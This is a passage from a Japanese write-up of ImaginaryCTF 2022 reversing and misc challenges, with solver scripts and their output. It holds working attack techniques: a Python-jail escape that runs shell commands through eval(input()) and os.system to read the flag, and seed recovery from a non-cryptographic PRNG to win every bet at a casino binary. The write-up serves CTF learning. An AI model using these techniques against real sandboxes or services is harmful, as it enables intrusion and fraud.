81*a[7]+15*a[6]+83*a[21]+51*a[10]+25*a[15]==78*a[16]+36*a[18]+89*a[8]+74*a[9]+28*a[15]-5576,22*a[12]+69*a[7]+43*a[14]+22*a[20]+88*a[20]==92*a[6]+40*a[10]+13*a[21]+93*a[4]+69*a[8]-14574,5*a[12]+55*a[15]+38*a[23]+79*a[18]+73*a[2]==7*a[6]+68*a[13]+46*a[19]+56*a[23]+84*a[15]-1064,63*a[5]+3*a[15]+54*a[11]+53*a[17]+39*a[22]==90*a[13]+58*a[7]+80*a[14]+43*a[20]+1*a[2]-9663
33*a[4]+85*a[22]+88*a[19]+11*a[19]+65*a[3]==2*a[12]+83*a[15]+51*a[3]+53*a[2]+4*a[15]+2150,16*a[13]+6*a[21]+19*a[23]+49*a[21]+48*a[9]==96*a[4]+60*a[7]+73*a[11]+79*a[9]+67*a[13]-17330,32*a[22]+25*a[14]+36*a[12]+96*a[11]+74*a[7]==65*a[6]+97*a[11]+22*a[21]+82*a[6]+58*a[4]-15919,58*a[6]+91*a[6]+48*a[15]+60*a[21]+84*a[9]==81*a[14]+3*a[2]+3*a[15]+17*a[13]+28*a[19]+23080
8*a[11]+13*a[23]+70*a[20]+4*a[14]+25*a[16]==47*a[13]+56*a[9]+14*a[16]+14*a[5]+47*a[19]-2509,56*a[16]+35*a[7]+71*a[15]+82*a[11]+43*a[18]==89*a[9]+5*a[20]+38*a[10]+16*a[17]+16*a[8]+13008,60*a[22]+16*a[2]+79*a[3]+5*a[22]+99*a[7]==22*a[20]+75*a[11]+31*a[6]+4*a[15]+53*a[3]+1557,22*a[12]+36*a[19]+84*a[16]+6*a[22]+44*a[15]==94*a[18]+46*a[0]+7*a[9]+16*a[13]+69*a[23]-5508
15*a[14]+37*a[4]+89*a[19]+1*a[13]+40*a[21]==58*a[7]+84*a[2]+95*a[17]+88*a[7]+58*a[8]-13680,21*a[2]+72*a[16]+92*a[14]+29*a[8]+94*a[16]==60*a[13]+90*a[16]+64*a[17]+66*a[2]+45*a[2]-7275,85*a[4]+56*a[21]+39*a[20]+5*a[9]+86*a[21]==46*a[11]+85*a[2]+79*a[20]+84*a[11]+87*a[10]-3608,98*a[13]+9*a[0]+94*a[21]+81*a[0]+92*a[16]==18*a[16]+30*a[0]+18*a[9]+17*a[17]+9*a[18]+32955
99*a[13]+17*a[8]+43*a[22]+35*a[15]+63*a[11]==75*a[15]+65*a[11]+44*a[17]+68*a[14]+71*a[6]-6000,96*a[15]+77*a[19]+70*a[22]+36*a[5]+40*a[12]==92*a[8]+78*a[21]+18*a[13]+27*a[19]+64*a[19]-2898,64*a[9]+94*a[17]+20*a[16]+57*a[6]+76*a[5]==57*a[2]+66*a[21]+82*a[0]+95*a[15]+70*a[19]-16423,35*a[1]+43*a[22]+7*a[21]+88*a[9]+72*a[11]==79*a[6]+66*a[17]+43*a[1]+80*a[6]+13*a[6]-16177
15*a[14]+72*a[0]+60*a[2]+66*a[17]+57*a[14]==43*a[5]+79*a[2]+3*a[16]+17*a[1]+64*a[6]+4715,46*a[8]+93*a[3]+59*a[20]+15*a[14]+84*a[6]==49*a[18]+46*a[14]+41*a[6]+37*a[1]+98*a[13]+3571,50*a[20]+62*a[5]+24*a[1]+91*a[23]+59*a[16]==52*a[20]+37*a[5]+60*a[18]+59*a[18]+25*a[11]+6503,19*a[3]+96*a[19]+38*a[22]+34*a[5]+27*a[14]==61*a[21]+74*a[10]+1*a[10]+86*a[17]+62*a[21]-14623
94*a[21]+46*a[8]+21*a[14]+46*a[0]+49*a[17]==81*a[8]+97*a[8]+82*a[4]+4*a[6]+67*a[8]-10410,65*a[1]+26*a[7]+14*a[23]+51*a[22]+20*a[4]==19*a[18]+87*a[16]+27*a[21]+57*a[10]+88*a[22]-10505,83*a[17]+89*a[21]+57*a[21]+19*a[19]+42*a[3]==12*a[8]+7*a[0]+83*a[9]+8*a[10]+79*a[5]+20536,30*a[19]+67*a[17]+10*a[1]+13*a[2]+47*a[1]==87*a[10]+95*a[11]+9*a[15]+41*a[3]+80*a[16]-11542
98*a[4]+29*a[16]+91*a[16]+25*a[13]+94*a[20]==41*a[17]+63*a[3]+61*a[7]+28*a[10]+89*a[7]+17506,28*a[8]+90*a[16]+12*a[20]+65*a[6]+69*a[5]==87*a[11]+33*a[4]+20*a[6]+10*a[15]+23*a[7]+11861,52*a[11]+99*a[3]+62*a[17]+69*a[12]+36*a[11]==71*a[0]+25*a[15]+49*a[6]+56*a[8]+87*a[10]-3286,95*a[0]+24*a[2]+11*a[13]+40*a[3]+85*a[18]==37*a[9]+49*a[3]+15*a[2]+51*a[11]+71*a[6]+8832
22*a[7]+92*a[13]+66*a[21]+16*a[3]+89*a[17]==45*a[22]+26*a[17]+88*a[18]+78*a[22]+29*a[11]+11656,53*a[3]+77*a[18]+61*a[23]+81*a[16]+30*a[15]==70*a[16]+89*a[22]+4*a[13]+23*a[15]+94*a[18]+9747,90*a[20]+70*a[10]+53*a[0]+26*a[5]+29*a[20]==73*a[6]+21*a[21]+6*a[23]+88*a[17]+43*a[1]+3403,62*a[3]+59*a[10]+88*a[0]+77*a[9]+37*a[5]==88*a[12]+81*a[9]+49*a[17]+81*a[16]+28*a[2]-2875
22*a[7]+44*a[2]+18*a[6]+73*a[1]+51*a[4]==40*a[22]+97*a[13]+27*a[4]+70*a[23]+66*a[15]-10554,18*a[23]+76*a[20]+94*a[18]+1*a[0]+87*a[5]==90*a[17]+20*a[13]+86*a[2]+28*a[12]+89*a[0]-7968,14*a[17]+38*a[20]+4*a[2]+63*a[22]+54*a[6]==48*a[11]+69*a[6]+60*a[23]+35*a[6]+87*a[7]-11706,68*a[18]+78*a[7]+31*a[10]+45*a[9]+73*a[13]==23*a[23]+14*a[7]+91*a[12]+99*a[4]+8*a[8]-445
50*a[17]+66*a[20]+19*a[20]+56*a[5]+22*a[7]==77*a[2]+76*a[18]+79*a[11]+87*a[0]+65*a[13]-19932,90*a[19]+11*a[17]+61*a[21]+27*a[8]+43*a[19]==11*a[0]+41*a[19]+4*a[5]+57*a[3]+54*a[15]+7163,24*a[2]+7*a[8]+81*a[23]+42*a[6]+30*a[20]==35*a[10]+4*a[14]+87*a[18]+88*a[5]+46*a[10]-1649,27*a[5]+34*a[12]+16*a[0]+39*a[7]+89*a[10]==58*a[17]+22*a[20]+6*a[14]+20*a[4]+1*a[14]+7194
39*a[5]+95*a[16]+29*a[12]+35*a[20]+2*a[23]==52*a[11]+36*a[5]+72*a[20]+47*a[10]+27*a[20]-837,37*a[13]+78*a[1]+79*a[15]+73*a[22]+96*a[6]==51*a[18]+71*a[20]+79*a[2]+60*a[8]+32*a[14]+3156,95*a[17]+8*a[17]+35*a[8]+22*a[7]+89*a[15]==26*a[20]+50*a[2]+67*a[1]+70*a[10]+30*a[14]+1114,87*a[7]+56*a[10]+41*a[7]+22*a[3]+44*a[3]==81*a[6]+79*a[12]+40*a[22]+37*a[15]+66*a[12]-10364'''
s = [x.split(',') for x in s.splitlines()]
s = [[eval('(' + ')-('.join(y.split('==')[::-1]) + ')') for y in x] for x in s]

def get_coeffs(e):
    return [e.coeff(x) for x in a], -e.args[0]

coeffs, answers = [], []
for x in s:
    for y in x:
        c, ans = get_coeffs(y)
        coeffs.append(c)
        answers.append(ans)

A = np.array(coeffs).astype(np.float64)
b = np.array(answers)
f = np.dot(np.linalg.pinv(A), b)

print(''.join(chr(c.round()) for c in f.tolist()))

実行するとフラグが得られた。

$ python3 a.py 
ictf{0n3l1n3is5uperior!}
ictf{0n3l1n3is5uperior!}

[Reversing 474] Jormungandr (18 solves)

次のようなPythonコードが与えられる。hexエンコードした文字列を入力すると、それがフラグであるかどうかをチェックしてくれる。

まず自身のコードを読み込んで text という変数に代入していて、しかもその後の処理で結構参照されている。コードをいじろうにもこれをなんとかしないといけない。text=open('jormungandr').read().split() で別途オリジナルのコードを読み込ませ、コードを改造しても大丈夫なように変更した。

find=lambda v:(i:=0,len([(i:=i+1)for(c)in(iter(lambda:text[i].startswith(v), True))]))[1]

def p(N):
    Enter =1
    prime=2# flag
    while Enter<N:
        prime+=(1+prime%2)
        s =prime%N
        for( hile)in range(3, prime,int( hex (2),16)):# salt
            if( prime%hile)==0 : break
            j__f = prime
        else:
            Enter+=1
    return(prime)

text=open( __file__).read().split()

try:
    while False:0
    while 1:
        {**{chr(i):lambda:0for(i)in range(32,127)},**{
            'l':lambda:text.insert(find(text[0][1:])+1,input()),
            's':lambda:text.append(text.pop(0)),
            'd':lambda:(text.pop(),text.pop()),
            'w':lambda:(text.pop(find(text[0][1:])+1),text.insert(find(text[0][1:])+1,text[1])),
            'i':lambda:(b:=text[1],text.pop(1),text.insert(1,('{:0%dx}'%(len(b))).format((int(b[:len(b)],16)*(3**p(len(text)))+p(len(text)))%16**(len(b)))),text.append(text.pop(0))),# lit
            'q':lambda:[text.pop()for( d)in iter(int,1)],
            'j':lambda:( chile :=text[0][1:],[text.append(text.pop(0))for(i)in(iter(lambda:text[0].startswith(chile),True))]),'p':lambda:print(text[1],end=' j__f '*0),# kite ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c971736e8fe8ec88e8695 p
            'not' :lambda: print(' bad... '),
            'c':lambda:text.append(text.pop(0))if text[find(text[0][1:])+1][1]==text[1][0]else[text.append(text.pop(0))for(i)in' q'],
            'k':lambda:text.append(text.pop(0))if text[find(text[0][1:])+1]==text[1]else[text.append(text.pop(0))for(i)in' q'],
        }
        }[text[0][0]]()
        text.append(text.pop(0))
except:
    pass

読むの面倒だなあと思いつつ、コード中盤の dict の各要素がどんな役割を持っているか確認した。i がおそらく一番大事で、これがユーザ入力をエンコードする関数になる。コード中にコメントとして ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c971736e8fe8ec88e8695 というめちゃくちゃ怪しい文字列があるが、i によってエンコードされた結果がそれになるような文字列を探したい。

さて、i がどんな処理をしているか確認していく。若干読みやすくしたコードが以下のようになる。print を入れまくって、変数にどんな値が入っているか確認できるようにしている。

def i():
    print('---')

    b = text[1]
    print(f'{b=}')
    aa = text.pop(1)
    
    print(f'{len(text)=}')

    bb = ('{:0%dx}'%(len(b))).format(
        (
            int(b[:len(b)],16) * (3**p(len(text))) + p(len(text))
        ) % 16 ** (len(b))
    )
    print(f'{bb=}')

    return (
        b,
        aa,
        text.insert(1,bb),
        text.append(text.pop(0))
    )

ictf{test} をhexエンコードした文字列を入力してみると、次のような出力がされた。i(i(i(i(i(i(user_input)))))) という感じのエンコードをしている様子がわかる。len(text) は、どんな長さのどんな入力をしても、1回目から6回目の i の呼び出しでそれぞれ 69, 67, 65, 63, 61, 59 という値になっている。

$ python3 test
696374667b74657374
---
b='696374667b74657374'
len(text)=69
bb='7ed028afc78d94df17'
---
b='7ed028afc78d94df17'
len(text)=67
bb='c39b77a263788a4ed8'
---
b='c39b77a263788a4ed8'
len(text)=65
bb='f9b170ac1b2dd9f8c1'
---
b='f9b170ac1b2dd9f8c1'
len(text)=63
bb='8958b05ce713cd14ce'
---
b='8958b05ce713cd14ce'
len(text)=61
bb='c981068d0e9866ad95'
---
b='c981068d0e9866ad95'
len(text)=59
bb='e0399870a77061e644'

i によるエンコードの肝になる部分は int(b[:len(b)],16) * (3**p(len(text))) + p(len(text)) だが、ここで参照されている b はユーザ入力だし、len(text) もわかっている。雑にSageMathの solve_mod で殴ろう。

$ docker run --rm -it sagemath/sagemath
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 9.5, Release Date: 2022-01-30                     │
│ Using Python 3.9.9. Type "help()" for help.                        │
└────────────────────────────────────────────────────────────────────┘
sage: ps = [347, 331, 313, 307, 283, 277]
sage:
sage: c = 'ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c97173
....: 6e8fe8ec88e8695'
sage: len_c = len(c)
sage: c = int(c, 16)
sage:
sage: b = var('b')
sage: for p in ps:
....:         b = (b * (3 ** p) + p)
....:
sage: solve_mod([b == c], 16 ** len_c)
[(84223073562938964680489890628277554864538330346056210282579736883735525871971980058788489922172160955085103123572927366665832261088432475325086130813,)]
sage: hex(84223073562938964680489890628277554864538330346056210282579736883735525871971980058788489922172160955085103123
....: 572927366665832261088432475325086130813)
'0x696374667b77656c636f6d655f746f5f7468655f666c61675f61745f7468655f656e645f6f665f7468655f756e697665727365215f38373632613961627d'

フラグが得られた。

ictf{welcome_to_the_flag_at_the_end_of_the_universe!_8762a9ab}

久々にヨルムンガンドが見たくなった。

[Reversing 486] The House Always Wins (13 solves)

x86_64のELFが与えられる。以下の出力を見るとわかるように、カジノで100ドルを元手にビリオネアに成り上がれたら勝ち。2枚カードが引かれるのだけれども、2枚目が引かれる際に1枚目よりその数値が大きいか小さいかを当てられればお金が増える。乱数を当てる系だなあと察する。

$ ./casino
You start with $100. Get 1 billion dollars, and we'll give you the flag.
Run out of money, and we kick you out of the casino.

Are you feeling lucky?

Current money: 100
How much are you betting? (minimum bet $5)
>>> 5
The first number is 11468.

Odds of higher: 82.50   Payout of higher: 6
Odds of lower:  17.50   Payout of lower:  28

Do you think the next number will be:
1) Higher
2) Lower

Remember, the house wins ties!
>>> 1
The second number is 59133!
Congrats! You won 6 dollars!

Current money: 101
How much are you betting? (minimum bet $5)

IDA Freewareのデコンパイラに投げる。main は次のようになっている。乱数の生成は2枚のカードを引くタイミングで行われているのだけれども、ここで rand を呼び出さず、独自の関数である get_rand を呼び出している。どんな方法で乱数を生成しているのだろうか。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3[59]; // [rsp+0h] [rbp-70h] BYREF
  char v4; // [rsp+3Bh] [rbp-35h] BYREF
  unsigned int v5; // [rsp+3Ch] [rbp-34h] BYREF
  FILE *v6; // [rsp+40h] [rbp-30h]
  int v7; // [rsp+4Ch] [rbp-24h]
  unsigned int v8; // [rsp+50h] [rbp-20h]
  unsigned int v9; // [rsp+54h] [rbp-1Ch]
  float v10; // [rsp+58h] [rbp-18h]
  float v11; // [rsp+5Ch] [rbp-14h]
  int rand; // [rsp+60h] [rbp-10h]
  unsigned int v13; // [rsp+64h] [rbp-Ch]
  int v14; // [rsp+68h] [rbp-8h]
  unsigned int v15; // [rsp+6Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("You start with $100. Get 1 billion dollars, and we'll give you the flag.");
  puts("Run out of money, and we kick you out of the casino.\n");
  puts("Are you feeling lucky?\n");
  v15 = 100;
  while ( 1 )
  {
    rand = get_rand();
    printf("Current money: %u\n", v15);
    if ( v15 > 0x3B9ACA00 )
      break;
    puts("How much are you betting? (minimum bet $5)");
    printf(">>> ");
    __isoc99_scanf("%u%c", &v5, &dead);
    if ( v5 <= 4 || v15 < v5 )
    {
      puts("You can't bet that!");
      puts("Get out of here, and come back with some real money!");
      exit(1);
    }
    v15 -= v5;
    printf("The first number is %d.\n\n", (unsigned int)rand);
    v11 = (float)((float)rand + 1.0) / 65536.0;
    v10 = 1.0 - v11;
    v9 = (int)((double)(int)v5 * 0.99 / v11);
    v8 = (int)((double)(int)v5 * 0.99 / (float)(1.0 - v11));
    printf(
      "Odds of higher: %.2f\tPayout of higher: %u\n",
      (float)(100.0 * v10),
      (unsigned int)(int)((double)(int)v5 * 0.99 / v10));
    printf("Odds of lower:  %.2f\tPayout of lower:  %u\n\n", (float)(100.0 * v11), v9);
    puts("Do you think the next number will be:");
    puts("1) Higher");
    puts("2) Lower\n");
    puts("Remember, the house wins ties!");
    printf(">>> ");
    __isoc99_scanf("%c%c", &v4, &dead);
    v7 = get_rand();
    v14 = 0;
    v13 = 0;
    printf("The second number is %d!\n", (unsigned int)v7);
    if ( v4 == 49 && rand < v7 )
    {
      v14 = 1;
      v13 = v8;
    }
    else if ( v4 == 50 && rand > v7 )
    {
      v14 = 1;
      v13 = v9;
    }
    if ( v14 )
    {
      printf("Congrats! You won %u dollars!\n\n", v13);
      v15 += v13;
    }
    else
    {
      puts("You lost... Better luck next time!\n");
    }
  }
  v6 = fopen("./flag.txt", "r");
  __isoc99_fscanf(v6, "%s", v3);
  printf("How'd you beat the house? %s\n", v3);
  exit(0);
}

get_rand を見てみる。初回の呼び出しであれば初期化処理をし、そうでなければ一度 rand を呼んで捨ててから、再び rand を呼んでその一部を返り値としているようだ。

この初期化処理が厄介で、まずシードの生成に /dev/urandom が使われているために推測が難しい。そこで /dev/urandom を使うならなぜ rand を使うのか。srand でPRNGの初期化をした後に、rand() >> 15rand を実行してその結果を捨てている。出力からPRNGのステートを推測するのを防ぐためだろうか。とにかく、この初期化処理が面倒だ。

__int64 get_rand()
{
  FILE *stream; // [rsp+8h] [rbp-18h]
  int j; // [rsp+14h] [rbp-Ch]
  int i; // [rsp+18h] [rbp-8h]
  unsigned int seed; // [rsp+1Ch] [rbp-4h]

  rand();
  if ( !init )
  {
    init = 1;
    seed = 0;
    stream = fopen("/dev/urandom", "r");
    for ( i = 0; i <= 7; ++i )
    {
      seed += fgetc(stream);
      if ( i != 7 )
        seed <<= 8;
    }
    fclose(stream);
    srand(seed);
    for ( j = 0; j < rand() >> 15; ++j )
      rand();
  }
  return (unsigned int)(rand() >> 15);
}

ではどうするかというと、srand の引数が最大で 0xffffffff と少なめであることを利用して、get_rand の出力をいくつか与えると、それに対応するシードが得られるようなテーブルをあらかじめ作っておく。さすがに4294967296通りも作っていたらテーブルのファイルサイズも生成時間もアレなので、その256分の1の16777216通りだけ作ることにする。500回も試せば1回は当たるでしょ。

テーブルを作るコードが以下。テーブルは 43352 59136 39130 40554 :2; みたいな感じで get_rand の出力4つの後に :、それから対応するシード、それから ; というようなフォーマットになっている。これが16777216個続く。

// db.c
#include <stdio.h>
#include <stdlib.h>

unsigned int get_rand(int init, int seed) {
    unsigned int i;
    
    rand();
    if (init) {
        srand(seed);
        for (i = 0; i < (rand() >> 15); i++) {
            rand();
        }
    }
    return (unsigned int)(rand() >> 15);
}

int main(void) {
    unsigned int i, j, r;
    char buf[40 * 0x1000] = "";

    FILE *fp = fopen("dict", "wb");

    for (i = 0; i < 0x1000000; i++) {
        if (i % 0x10000 == 0) {
            printf("%d\n", i);
        }

        if (i % 0x1000 == 0) {
            fwrite(buf, sizeof(char), strlen(buf), fp);
            memset(buf, 0, sizeof(buf));
        }

        r = get_rand(1, i);
        sprintf(buf, "%s%d ", buf, r);

        for (j = 1; j < 4; j++) {
            r = get_rand(0, 0);
            sprintf(buf, "%s%d ", buf, r);
        }

        sprintf(buf, "%s:%d;", buf, i);
    }

    fclose(fp);

    return 0;
}

ついでに、シードを与えると get_rand の返り値を1000個出力してくれるコードも書いておく。

#include <stdio.h>
#include <stdlib.h>

unsigned int get_rand(int init, int seed) {
    unsigned int i;
    
    rand();
    if (init) {
        srand(seed);
        for (i = 0; i < (rand() >> 15); i++) {
            rand();
        }
    }
    return (unsigned int)(rand() >> 15);
}

int main(int argc, char **argv) {
    unsigned int i;

    printf("%d ", get_rand(1, atoi(argv[1])));
    for (int i = 0; i < 1000; i++) {
        printf("%d ", get_rand(0, 0));
    }

    return 0;
}

あとは実装するだけ。

import subprocess
from pwn import *
context.log_level = 'DEBUG'

def get_rands(seed):
    r = subprocess.check_output(f'./get {seed}', shell=True)
    print(r)
    return [int(x) for x in r.split()]

with open('dict', 'rb') as f:
    d = f.read()

def init():
    #s = process('./casino')
    s = remote('the-house-always-wins.chal.imaginaryctf.org', 1337)
    h = []

    for _ in range(2):
        s.recvuntil(b'Current money: ')
        current_money = int(s.recvline())
        s.recvuntil(b'>>> ')
        s.sendline(b'5')

        # first number
        s.recvuntil(b'The first number is')
        first_number = int(s.recvuntil(b'.')[:-1])
        h.append(first_number)

        s.recvuntil(b'>>> ')
        s.sendline(b'1')

        # second number
        s.recvuntil(b'The second number is')
        second_number = int(s.recvuntil(b'!')[:-1])
        h.append(second_number)

    return s, h

for i in range(1000):
    s, h = init()
    t = ''.join(str(x) + ' ' for x in h) + ':'
    
    print(i, t)
    j = d.find(t.encode())
    if j == -1:
        s.close()
        continue

    j = d.index(b':', j)
    k = d.index(b';', j)

    seed = int(d[j+1:k])
    print(f'{seed}')
    rands = get_rands(seed)[4:]
    print(rands)

    break

rands = iter(rands)

while True:
    s.recvuntil(b'Current money: ')
    current_money = int(s.recvline())
    s.recvuntil(b'>>> ')
    s.sendline(str(current_money).encode())

    first, second = next(rands), next(rands)

    s.recvuntil(b'>>> ')
    if first < second:
        s.sendline(b'1')
    else:
        s.sendline(b'2')

実行するとフラグが得られた。

$ python3 solve.py
…
[DEBUG] Received 0x5d bytes:
    b'The second number is 53591!\n'
    b'Congrats! You won 1053511168 dollars!\n'
    b'\n'
    b'Current money: 1053511168\n'
[DEBUG] Received 0x72 bytes:
    b"How'd you beat the house? ictf{if_the_house_isn't_using_cryptographically_secure_PRNG_the_house_deserves_to_lose}\n"
ictf{if_the_house_isn't_using_cryptographically_secure_PRNG_the_house_deserves_to_lose}

[Reversing 488] xobeert (12 solves)

以下のようなPythonのASTが与えられる。

ast.dump で出力されたものだろう。ast.unparse という便利な関数があるので、これで元のコードを手に入れる。

from ast import *
s = open('boxast.txt').read()
unparse(eval(eval(s.replace('Assign(','Assign(lineno=1,'))))

実行すると、デコレータで楽しい感じになっているPythonコードが出力された。実行してみると、これは入力した文字列がフラグであるかどうか確認してくれるらしいとわかった。

fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: 0
fffffffffffffffff = lambda f: 1
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: []
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda a: lambda b: a + b

@ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
@fffffffffffffffff
class fffffffffffffffffffff:
    pass
fffffffffffffff = lambda ffffffffffffffffffffffffffffffffffffffffffffffff: lambda stack: [ffffffffffffffffffffffffffffffffffffffffffffffff] + stack
pop = lambda stack: stack[1:]
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] + stack[0]] + stack[2:]
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] - stack[0]] + stack[2:]
fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] ** stack[0]] + stack[2:]
ffffffffffffffffffffffffffffffffffffffffff = lambda stack: [stack[1] * stack[0]] + stack[2:]
fffffffffff = lambda stack: stack[0]

@fffffffffffffff
@fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
class fffffffffffffff0:
    pass

@fffffffffffffff
@fffffffffffffffffffff
@fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
class ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff:
    pass

print(locals()) を最後に仕込んで実行する。fffffffffffffffffffffffffffffffffffffffffffff という変数になにやら怪しい配列がある。

$ python3 a.py
…
'fffffffffffffffffffffffffffffffffffffffffffff': [123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
…

どこで参照されているか確認してみると、以下のような処理が見つかった。最後に wrongcorrect のどちらを出力するかは、fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff が一致しているかによるようだ。最後にこの2つの変数を出力するように変更する。

@fffffffffffffffffffffffffffffffffffffffffffff
class fffffffffffffffffffffffffffffffffffffffffffff:
    pass
ffffffffffffffffffffffffffffffffffffffffffffffff = lambda f: lambda ffffffffffffffffffffffffffffffffffffffffffffffff: [wrong, correct][ffffffffffffffffffffffffffffffffffffffffffffffff == fffffffffffffffffffffffffffffffffffffffffffff]

変更後のコードを実行してみる。なるほど、1バイトずつ何らかの形で変換されているようだ。

$ python a.py
flag? aaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[115, 248, 75, 88, 99, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 153]
[123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
Wrong!
$ python a.py
flag? ictf{aaaaaaaaaaaaaaaaaaaaaaa}
[123, 250, 94, 95, 121, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 133]
[123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133]
Wrong!

XORを試してみたところ、いけた。

from pwn import *
a = [115, 248, 75, 88, 99, 213, 240, 23, 121, 52, 219, 105, 0, 23, 127, 224, 68, 173, 192, 48, 197, 252, 61, 110, 174, 228, 25, 241, 153]
print(bytes(xor(a, b'a', [123, 250, 94, 95, 121, 195, 249, 70, 71, 59, 137, 59, 5, 67, 65, 226, 17, 160, 205, 100, 251, 169, 50, 118, 184, 177, 1, 175, 133])))
$ python3 solve.py
b'ictf{wh0_n33d5_c4ll5_4nyw4y?}'
ictf{wh0_n33d5_c4ll5_4nyw4y?}

[Misc 100] Sanity Check (617 solves)

Description
Welcome to ImaginaryCTF 2022! All flags are written in flag format ictf{s0m3_1337_f1ag} unless otherwise stated. Have fun and enjoy the challenges!

Attachments
ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}

[Misc 100] Discord (538 solves)

Join our Discord community for updates and support! If you would like to do some more CTF after this competition, we do host daily CTF challenges on our Discord server as well. Join at https://discord.gg/ctf . You can find the flag for this challenge in the #imaginaryctf-2022 channel .

Discordサーバに入って指定されたチャンネルを見ると、フラグがあった。

ictf{stay_tuned_after_the_ctf_for_daily_ctf_challenges!}

[Misc 100] Sponsors (533 solves)

The ImaginaryCTF team would like to thank DigitalOcean, Google Cloud, and Trail of Bits for sponsoring this CTF!

Learn more about our sponsors at the links below:

One of them might contain a flag... 👀

DigitalOceanだけ特別に用意された感があって怪しい。動画を見ていると最後の方でフラグが表示された。

ictf{digitalocean_r0cks!}

[Misc 100] pyprison (180 solves)

以下のようなPythonのコードと、問題サーバへの接続情報が与えられる。

#!/usr/bin/env python3

while True:
  a = input(">>> ")
  assert all(n in "()abcdefghijklmnopqrstuvwxyz" for n in a)
  exec(a)

eval(input()) でバイパスできる。

$ nc pyprison.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
>>> eval(input())
__import__('os').system('ls')
chal
flag.txt
>>> eval(input())
__import__('os').system('cat f*')    
ictf{pyprison_more_like_python_as_a_service_12b19a09}
ictf{pyprison_more_like_python_as_a_service_12b19a09}

[Misc 100] neoannophobia (129 solves)

以下のようなルールのゲームに勝てという問題。お互い日付を言っていくのだけれども、それは相手の言った日付以降で、かつ同じ月か同じ日でなければならない。相手の言った日付が1月25日であれば、1月26日以降もしくは2月以降の25日が選択肢になる。我々は常に後攻。

$ nc neoannophobia.chal.imaginaryctf.org 1337
== proof-of-work: disabled ==
Welcome to neoannophobia, where we are so scared of New Year's that we race to New Year's eve!

In this game, two players take turns saying days of the year ("January 30", "July 5", etc)

The first player may start with any day in the month of January, and on each turn a player may say another date that either has the same month or the same day as the previous date. You can also only progress forward in time, never backwards.

For example, this is a valid series of moves:

Player 1: January 1
Player 2: February 1
Player 1: February 9
Player 2: July 9
Player 1: July 14
Player 2: July 30
Player 1: December 30
Player 2: December 31

This is an illegal set of moves:

Player 1: January 1
Player 2: July 29 (not same day or month)
Player 1: July 1 (going backwards in time)

The objective of the game is simple: be the first player to say December 31.

The computer will choose its own moves, and will always go first. To get the flag, you must win against the computer 100 times in a row.    

Ready? You may begin.

必勝法はないかな~と "same month or the same day" game みたいなキーワードで検索してみたところ、それっぽい記事が見つかった。"day = month + 19" になるような日付を答えればよいらしい。

雑にスクリプトを書く。

from pwn import *
a = '''January
February
March
April
May
June
July
August
September
October
November
December'''.splitlines()
b = list(range(20, 32))

# https://mindyourdecisions.com/blog/2016/08/21/the-race-to-december-31-sunday-puzzle/
def solve(m, d):
    rd = b[m - 1]
    if d < rd:
        return m, rd
    return b.index(d) + 1, d

s = remote('neoannophobia.chal.imaginaryctf.org', 1337)

for _ in range(100):
    print(s.recvuntil(b'----------\n'))
    print(s.recvuntil(b'----------\n'))
    while True:
        day = s.recvline().strip().decode()
        print('[day]', day)
        m, d = day.split()
        m, d = a.index(m) + 1, int(d)

        ans_m, ans_d = solve(m, d)
        ans_m = a[ans_m - 1]

        ans = f'{ans_m} {ans_d}'
        print('[ans]', ans)
        s.sendline(ans)

        s.recvuntil('> ')
        if ans == 'December 31':
            break

s.interactive()

実行するとフラグが得られた。

$ python3 solve.py
…
b'You won!\n----------\n'
b'ROUND 100\n----------\n'
[day] January 28
[ans] September 28
[day] September 30
[ans] November 30
[day] November 31
[ans] December 31
[*] Switching to interactive mode
You won!
ictf{br0ken_game_smh_8b1f014a}

[*] Got EOF while reading in interactive
$  
ictf{br0ken_game_smh_8b1f014a}

[Misc 402] sequel_sequel (35 solves)

